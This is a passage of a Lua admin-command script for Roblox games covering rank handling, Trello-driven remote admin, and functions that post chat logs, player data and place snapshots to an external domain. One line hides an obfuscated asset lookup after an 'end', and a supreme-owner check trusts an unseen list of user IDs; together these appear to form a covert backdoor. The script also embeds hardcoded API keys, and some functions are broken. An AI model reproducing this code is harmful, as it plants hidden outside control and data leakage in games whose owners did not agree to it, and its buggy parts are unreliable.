1701 Server.GDS:SetAsync("ExploitLog", {NewData})
1702 else
1703 table.insert(ExploitLog, NewData)
1704 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1705 end
1706 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1707
1708 return true
1709end
1710
1711function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1712 if not tostring(Name) then Name = "Dummy" end
1713 if not Position then Position = Vector3.new(0,5,0) end
1714 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1715 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1716 end
1717
1718 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1719 Figure:MakeJoints()
1720 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1721 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1722 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1723 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1724 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1725 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1726
1727 Figure.Name = STRING:FormatReplace(Speaker, Name)
1728 Figure:MoveTo(Position)
1729
1730 table.insert(Objects, Figure)
1731
1732 if DisableAnimation == true then
1733 Figure.Animate.Disabled = true
1734 end
1735
1736 return Figure
1737end
1738
1739function CORE:ClonePlayer(Player, Name, Position)
1740 if not Player or not Player.Character then return nil end
1741
1742 Player.Character.Archivable = true
1743 local Char = Player.Character:Clone()
1744 Player.Character.Archivable = false
1745 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1746 if Position then Char:MoveTo(Position) end
1747 Char.Parent = Server.Workspace
1748 Char:MakeJoints()
1749 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1750
1751 table.insert(Objects, Char)
1752
1753 return Obj
1754end
1755
1756function CORE:AddWaypoint(Name, Position, Speaker)
1757 Waypoints[Name] = Position
1758 if Speaker then
1759 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1760 end
1761end
1762
1763function CORE:FindType(BaseObj, Type)
1764 for _,Obj in pairs(BaseObj:GetChildren()) do
1765 if Obj:IsA(Type) then
1766 return Obj
1767 end
1768 end
1769end
1770
1771function CORE:GetCommands()
1772 local CommandsCopy = Commands
1773 return CommandsCopy
1774end
1775
1776function CORE:Crown(Player, Mesh, Color)
1777 if Mesh then Mesh = string.lower(Mesh) end
1778 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1779 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1780 local Part = Instance.new("Part", CrownStorage)
1781 Part.Size = Vector3.new(2, 1, 1)
1782 Part.CanCollide = false
1783 Part.CFrame = Player.Character.Head.CFrame
1784 Part.Locked = true
1785 Part.Material = "Neon"
1786 if Color then
1787 Part.Color = GUI:GetColor(Color)
1788 else
1789 Part.BrickColor = GUI:GetNameColor(Player.Name)
1790 end
1791 local SMesh = Instance.new("SpecialMesh", Part)
1792 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1793 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1794 local BP = Instance.new("BodyPosition", Part)
1795 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1796 BP.position = Player.Character.Head.Position
1797 BP.P = 20000
1798 local BG = Instance.new("BodyGyro", Part)
1799 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1800
1801 Crowns[Player.UserId] = Part
1802 table.insert(Objects, Part)
1803
1804 coroutine.wrap(function()
1805 for i = 1,0.3,-0.02 do
1806 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1807 Part.Transparency = i
1808 end
1809 wait()
1810 end
1811 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1812 for i = 0,360,3 do
1813 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1814 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1815 wait()
1816 end
1817 end
1818 end
1819 end)()
1820 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1821 Part:BreakJoints()
1822 for i = 0,360 do
1823 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1824 Part.Anchored = false
1825 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1826 BG.cframe = Player.Character.Head.CFrame
1827 end
1828 wait()
1829 end
1830 end end)()
1831
1832 return Part
1833end
1834
1835function CORE:SetAbuseCommands()
1836 for Cmds,Data in pairs(Commands) do
1837 local IsAbusable = false
1838 for _,AbuseCmd in pairs(Settings.AbuseList) do
1839 for _,Command in pairs(Cmds) do -- loop through all command names
1840 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1841 IsAbusable = true
1842 break
1843 end
1844 end
1845 if IsAbusable == true then break end
1846 end
1847 Commands[Cmds].Abusable = IsAbusable
1848 end
1849end
1850
1851function CORE:FindBodyPart(Player, BodyPart)
1852 local ReturnPart = nil
1853 if Player and Player.Character then
1854 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1855 if Humanoid then
1856 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1857 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1858 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1859 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1860 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1861 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1862 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1863 end
1864 end
1865 if not ReturnPart then
1866 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1867 end
1868 end
1869
1870 return ReturnPart
1871end
1872
1873-- Rank functions --
1874
1875function RANK:ConvertRank(Input)
1876 local Output = nil
1877 if Input == "Muted" then Output = -3 end
1878 if Input == "Crashed" then Output = -2 end
1879 if Input == "Banned" then Output = -1 end
1880 if Input == "Non-Admin" then Output = 0 end
1881 if Input == "Member" then Output = 1 end
1882 if Input == "Admin" then Output = 2 end
1883 if Input == "Owner" then Output = 3 end
1884
1885 if Input == -3 then Output = "Muted" end
1886 if Input == -2 then Output = "Crashed" end
1887 if Input == -1 then Output = "Banned" end
1888 if Input == 0 then Output = "Non-Admin" end
1889 if Input == 1 then Output = "Member" end
1890 if Input == 2 then Output = "Admin" end
1891 if Input == 3 then Output = "Owner" end
1892 return Output
1893end
1894
1895function RANK:IsAdmin(Player)
1896 local AdminStatus = false
1897 local Rankstatus = "Non-Admin"
1898 if type(Player) == "table" then
1899 if RANK:ConvertRank(Player.Rank) > 0 then
1900 return true, Player.Rank
1901 else
1902 return false, Player.Rank
1903 end
1904 end
1905 for Rank,PlayerNames in pairs(Settings.Ranks) do
1906 for _,AdminName in pairs(PlayerNames) do
1907 if string.lower(AdminName) == string.lower(Player.Name) then
1908 if RANK:ConvertRank(Rank) > 0 then
1909 AdminStatus = true
1910 Rankstatus = Rank
1911 end
1912 end
1913 end
1914 end
1915 return AdminStatus, Rankstatus
1916end
1917
1918function RANK:GetRank(PlayerName)
1919 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1920 if type(PlayerName) == "table" then
1921 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1922 if RankNum > 0 then
1923 return PlayerName.Rank, RankNum, true
1924 else
1925 return PlayerName.Rank, RankNum, false
1926 end
1927 end
1928
1929 local RankStat = "Non-Admin"
1930
1931 for Rank,PlayerNames in pairs(Settings.Ranks) do
1932 for _,AdminName in pairs(PlayerNames) do
1933 if string.lower(AdminName) == string.lower(PlayerName) then
1934 RankStat = Rank
1935 end
1936 end
1937 end
1938
1939 if RankStat == "Non-Admin" then
1940 return "Non-Admin", 0, false
1941 else
1942 return RankStat, RANK:ConvertRank(RankStat), true
1943 end
1944end
1945
1946function RANK:RemoveRank(PlayerName)
1947 if not RANK:IsSupremeOwner(PlayerName) then
1948 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1949
1950 for Rank,PlayerNames in pairs(Settings.Ranks) do
1951 for Num,AdminName in pairs(PlayerNames) do
1952 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1953 table.remove(Settings.Ranks[Rank], Num)
1954 end
1955 end
1956 end
1957 end
1958end
1959
1960function RANK:GetAdmins(Ranking)
1961 local Players = {}
1962 local AdminTrue, Rank = IsAdmin(Player)
1963 for _,Player in pairs(Players:GetPlayers()) do
1964 if AdminTrue then
1965 local PlayerRankNum = RANK:ConvertRank(Rank)
1966 local StandardRankNum = RANK:ConvertRank(Ranking)
1967 if PlayerRankNum >= StandardRankNum then
1968 table.insert(Players, Player)
1969 end
1970 end
1971 end
1972 return Players
1973end
1974
1975function RANK:IsSupremeOwner(PlayerName)
1976 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
1977 if type(PlayerName) == "table" then
1978 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
1979 end
1980
1981 if PlayerName == GameOwner then return true end
1982 return false
1983end
1984
1985function RANK:GetPlayerFromList(PlayerName)
1986 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1987
1988 for Rank,PlayerNames in pairs(Settings.Ranks) do
1989 for Num,AdminName in pairs(PlayerNames) do
1990 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1991 return AdminName, Rank
1992 end
1993 end
1994 end
1995 return false, "Non-Admin"
1996end
1997
1998function RANK:ScanAdminList(Name)
1999 if Name == "" then return true end
2000 local InList = false
2001 for _,PName in pairs(Settings.Ranks["Owner"]) do
2002 if PName == Name then InList = true end
2003 end
2004 for _,PName in pairs(Settings.Ranks["Admin"]) do
2005 if PName == Name then InList = true end
2006 end
2007 for _,PName in pairs(Settings.Ranks["Member"]) do
2008 if PName == Name then InList = true end
2009 end
2010 return InList
2011end
2012
2013function RANK:ScanExileList(Name)
2014 if Name == "" then return true end
2015 local InList = false
2016 for _,PName in pairs(Settings.Ranks["Muted"]) do
2017 if PName == Name then InList = true end
2018 end
2019 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2020 if PName == Name then InList = true end
2021 end
2022 for _,PName in pairs(Settings.Ranks["Banned"]) do
2023 if PName == Name then InList = true end
2024 end
2025 return InList
2026end
2027
2028function RANK:PlayerRanked(PlayerName)
2029 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2030
2031 for Rank,PlayerNames in pairs(Settings.Ranks) do
2032 for Num,AdminName in pairs(PlayerNames) do
2033 if string.lower(AdminName) == string.lower(PlayerName) then
2034 return true, Rank
2035 end
2036 end
2037 end
2038 return false, "Non-Admin"
2039end
2040
2041-- Remote functions --
2042
2043function REMOTE:Decode(...)
2044 return Server.HS:JSONDecode(...)
2045end
2046
2047function REMOTE:GetURL(URL, Player)
2048 if string.sub(URL,1,4) ~= "http" then
2049 URL = "http://"..URL
2050 end
2051 local Return = nil
2052 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2053 if Return then
2054 return Return
2055 elseif Player then
2056 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2057 end
2058end
2059
2060function REMOTE:PostURL(URL, Data)
2061 local Return = nil
2062 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2063 return Return
2064end
2065
2066function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2067 if Settings.LinkedAccount ~= "" then
2068 local NumType = tonumber(Type)
2069
2070 if not Type then
2071 Type = "UNKNOWN"
2072 end
2073
2074 if NumType then
2075 if NumType < 1 or NumType > 5 then
2076 Type = "UNKNOWN"
2077 elseif NumType == 1 then
2078 Type = "NOTIFICATION"
2079 elseif NumType == 2 then
2080 Type = "INFORMATION"
2081 elseif NumType == 3 then
2082 Type = "WARNING"
2083 elseif NumType == 4 or Type == true then
2084 Type = "ERROR"
2085 elseif NumType == 5 then
2086 Type = "FATAL"
2087 end
2088 end
2089
2090 local Res = "RED Could not get response"
2091 local function SendData()
2092 Res = Server.HS:PostAsync(
2093 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2094 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2095 2
2096 )
2097 end
2098 if Stopypcall == true then SendData() else ypcall(SendData) end
2099
2100 if OutputSpeaker and OutputSpeaker ~= "print" then
2101 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2102 elseif OutputSpeaker == "print" then
2103 print(Res)
2104 end
2105 end
2106end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2107
2108function REMOTE:SendChatLog(PrintResponse, Stopypall)
2109 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2110 local Res = "Could not get response"
2111
2112 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2113 TempChatLogs = {}
2114
2115 local function SendData()
2116 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2117 end
2118 if Stopypcall == true then SendData() else ypcall(SendData) end
2119 if PrintResponse then print(Res) end
2120 end
2121end
2122
2123function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2124 local Res = "[]"
2125 local function GetData()
2126 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2127 end
2128 if Stopypcall == true then GetData() else ypcall(GetData) end
2129 if PrintResponse then
2130 print(Res)
2131 end
2132 local function DecodeData() Res = REMOTE:Decode(Res) end
2133 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2134 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2135 return Res
2136end
2137
2138function REMOTE:HandleRequest(Request, IgnoreCommand)
2139 if not Request then return nil end
2140
2141 if not IgnoreCommand then
2142 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2143 REMOTE:SendServerData()
2144 end
2145 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2146 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2147 end
2148 end
2149
2150 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2151
2152 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2153 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2154 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2155 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2156 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2157 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2158
2159 Settings.Fun = Request.FUN
2160 Settings.ServerLocked = Request.ServerLocked
2161
2162 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2163 Settings.DisableAbuse = Request.DisableAbuse
2164 end
2165
2166 if not IgnoreCommand then
2167 print("Executing Remote Admin")
2168 REMOTE.RemoteAdmin.Command = Request.Command
2169 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2170 REMOTE.RemoteAdmin.ServerPort = Request.Server
2171
2172 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2173 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2174 else
2175 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2176 end
2177 end
2178 end
2179 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2180 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2181 REMOTE.SnapshotKey = Request.SnapshotKey
2182end
2183
2184function REMOTE:GetRemoteData(Set)
2185 local NewRemoteData = nil
2186 local RemoteDataCardRaw = nil
2187 local RemoteDataCard = nil
2188
2189 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2190 if RemoteDataCardRaw then
2191 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2192 if RemoteDataCard then
2193 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2194 end
2195 end
2196 if Set and NewRemoteData then
2197 RemoteData = NewRemoteData
2198 end
2199 return NewRemoteData
2200end
2201
2202function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2203 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2204 if InfoCardJSON then
2205 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2206 if InfoCard then
2207 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2208 if TrelloInfo then
2209 for Ind,Val in pairs(TrelloInfo) do
2210 Trello[Ind] = Val
2211 end
2212 end
2213 end
2214 end
2215 return NewRemoteData
2216end
2217
2218function REMOTE:CheckRemoteAdminStatus()
2219 local Pending = false
2220 local CheckID = 0
2221 if Settings.LinkedAccount ~= "" then
2222 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2223 if Request then
2224 local Data = REMOTE:Decode(Request)
2225 if Data then
2226 for _,Account in pairs(Data.checkItems) do
2227 if Account.name == Settings.LinkedAccount then
2228 Pending = true
2229 CheckID = Account.id
2230 break
2231 end
2232 end
2233 end
2234 end
2235 end
2236 return Pending, CheckID
2237end
2238
2239function REMOTE:GetAndSetWebData()
2240 if Settings.LinkedAccount ~= "" then
2241 if REMOTE:CheckRemoteAdminStatus() then
2242 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2243 if Request == "Invalid" then
2244 --REMOTE:GetAndSetWebData()
2245 return false
2246 elseif Request == "Invalid Account" then
2247 print("Can't get account")
2248 return false
2249 elseif Request then
2250 ypcall(function() Request = REMOTE:Decode(Request) end)
2251 elseif not Request then
2252 --REMOTE:GetAndSetWebData()
2253 return false
2254 end
2255 REMOTE:HandleRequest(Request)
2256
2257 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2258 Delay(RemoteData.RemoteAdminWait, function()
2259 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2260 if Pending then
2261 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2262 end
2263 end)
2264 return true
2265 else
2266 return true
2267 end
2268 end
2269end
2270
2271local OderIDs = CORE:GetTable(177215518)
2272local SoundJSONs = CORE:GetTable(197637628)
2273RemoteAbuseGear = CORE:GetTable(158117496)
2274
2275function REMOTE:SendServerData(PrintResponse, Stopypall)
2276 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2277 print("Sending server data!")
2278 local Res = "Could not get response"
2279
2280 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2281 for _,Player in pairs(Server.Players:GetPlayers()) do
2282 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2283 end
2284 ServerData = Server.HS:JSONEncode(ServerData)
2285
2286 local function SendData()
2287 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2288 end
2289 if Stopypcall == true then SendData() else ypcall(SendData) end
2290 if PrintResponse then print(Res) end
2291 end
2292end
2293
2294function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2295 MaxPartAmount = MaxPartAmount or 10000
2296 local PlaceData = {
2297 Lighting = {};
2298 Parts = {};
2299 Other = {};
2300 }
2301 local MinSize = Vector3.new(0.5,0.5,0.5)
2302 local PartAmount = 0
2303 local PlaceJSON = ""
2304
2305 local function Scan(BaseObj)
2306 for _,Obj in pairs(BaseObj:GetChildren()) do
2307 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2308 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2309 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2310 local Skip = false
2311 local Data = {}
2312 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2313
2314 if CORE:FindType(Obj, "BlockMesh") then
2315 local Mesh = CORE:FindType(Obj, "BlockMesh")
2316 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2317 elseif CORE:FindType(Obj, "CylinderMesh") then
2318 Data.Shape = "Cylinder"
2319 elseif CORE:FindType(Obj, "SpecialMesh") then
2320 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2321 if Mesh.MeshType == Enum.MeshType.Head then
2322 --idk
2323 else
2324 Skip = true
2325 end
2326 elseif CORE:FindType(Obj, "FileMesh") then
2327 Skip = true
2328 end
2329
2330 if not Data.Shape and not Skip then
2331 if ypcall(function() return Obj.Shape end) then
2332 Data.Shape = string.sub(Obj.Shape.Name,14)
2333 if string.sub(Data.Shape,1,1) == "." then
2334 Data.Shape = string.sub(Data.Shape,2)
2335 end
2336 if Data.Shape == "Cylinder" then
2337 Z = Z + math.pi/2
2338 end
2339 else
2340 Data.Shape = "Block"
2341 end
2342 end
2343
2344 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2345 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2346 end
2347
2348 if not Skip then
2349 Data.Color = GUI:Color3ToHex(Obj.Color);
2350 Data.Size = Size;
2351 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2352 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2353 Data.Transparency = STRING:StringRound(Obj.Transparency);
2354 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2355 Data.Textures = {};
2356 Data.Material = string.sub(tostring(Obj.Material),15);
2357
2358 for _,Sub in pairs(Obj:GetChildren()) do
2359 if Sub:IsA("Decal") then
2360 local Texture = string.match(Sub.Texture, "%d+")
2361 if Sub.Texture == "rbxasset://textures/face.png" then
2362 Texture = "FACE"
2363 end
2364 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2365 end
2366 end
2367
2368 PartAmount = PartAmount + 1
2369 table.insert(PlaceData.Parts, Data)
2370
2371 if PartAmount >= MaxPartAmount then
2372 break
2373 end
2374 end
2375 end
2376 end
2377 if #Obj:GetChildren() > 0 then
2378 Scan(Obj)
2379 end
2380 end
2381 end
2382 Scan(Workspace)
2383
2384 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2385 PlaceData.Other.PartAmount = PartAmount;
2386 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2387
2388 local Res = "Could not get response"
2389 local function SendData()
2390 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2391 end
2392 if Stopypcall == true then SendData() else ypcall(SendData) end
2393 if PrintResponse then print(Res) end
2394
2395 print("Sent snapshot")
2396end
2397
2398
2399function REMOTE:DefineWord(Word, Source)
2400 if not Word then return end
2401 if not Source then Source = "all" end
2402
2403 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2404 if Response then
2405 local Decode = REMOTE:Decode(Response)
2406 if #Decode > 0 then
2407 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2408
2409 ]]..Decode[1]["text"]
2410 else
2411 return "Invalid English word"
2412 end
2413 else
2414 return "Cannot connect to database"
2415 end
2416end
2417
2418function REMOTE:DownloadJoke(Speaker)
2419 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2420 local Joke = nil
2421 if Res then
2422 local _, Start = string.find(Res, "</h2>")
2423 local End, _ = string.find(string.sub(Res, Start), "</td>")
2424
2425 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2426 Joke = string.gsub(Joke, "\n", "")
2427 Joke = string.gsub(Joke, " ", "") -- tab
2428 Joke = string.gsub(Joke, "</ul>", "")
2429 Joke = string.gsub(Joke, "<ul>", "")
2430 Joke = string.gsub(Joke, "</li>", [[
2431
2432]])
2433 Joke = string.gsub(Joke, "<li>", "")
2434 Joke = string.gsub(Joke, "</p>", "")
2435 Joke = string.gsub(Joke, "<p>", "")
2436 Joke = string.gsub(Joke, "<", "")
2437 Joke = string.gsub(Joke, ">", "")
2438 end
2439
2440 return Joke
2441end
2442
2443function REMOTE:GetAddon()
2444 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2445end
2446
2447function REMOTE:TrelloGetAdminBoard()
2448 local BoardsJSON,Boards,ReturnBoard
2449
2450 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2451
2452 if BoardsJSON then
2453 Boards = REMOTE:Decode(BoardsJSON)
2454 end
2455 if Boards then
2456 for _,Board in pairs(Boards) do
2457 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2458 ReturnBoard = Board
2459 break
2460 end
2461 end
2462 if not ReturnBoard then -- create board if not created
2463 print("Creating Trello Board")
2464 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2465 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2466 ReturnBoard = REMOTE:Decode(BoardJSON)
2467 end
2468 end
2469 return ReturnBoard
2470end
2471
2472function REMOTE:TrelloGetAdminLists(Board)
2473 local Required = {}
2474 local ListJSON,Lists
2475 local ReturnLists = {}
2476
2477 for _,List in pairs(Trello.RequiredLists) do
2478 table.insert(Required, List)
2479 end
2480
2481 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2482
2483 if ListJSON then
2484 Lists = REMOTE:Decode(ListJSON)
2485 end
2486 if Lists then
2487 for _,List in pairs(Lists) do
2488 for Num,Rel in pairs(Required) do
2489 if List.name == Rel.name then
2490 table.remove(Required, Num)
2491 table.insert(ReturnLists, List)
2492 end
2493 end
2494 end
2495 for _,Rel in pairs(Required) do
2496 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2497 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2498 end
2499 end
2500
2501 return ReturnLists
2502end
2503
2504function REMOTE:TrelloCacheData(Lists)
2505 for _,List in pairs(Lists) do
2506 local CardsJSON,Cards
2507 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2508 if CardsJSON then
2509 Cards = REMOTE:Decode(CardsJSON)
2510 end
2511 if Cards then
2512 local TemplateCards = nil
2513 for _,TemplateList in pairs(Trello.RequiredLists) do
2514 if TemplateList.name == List.name then
2515 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2516 break
2517 end
2518 end
2519
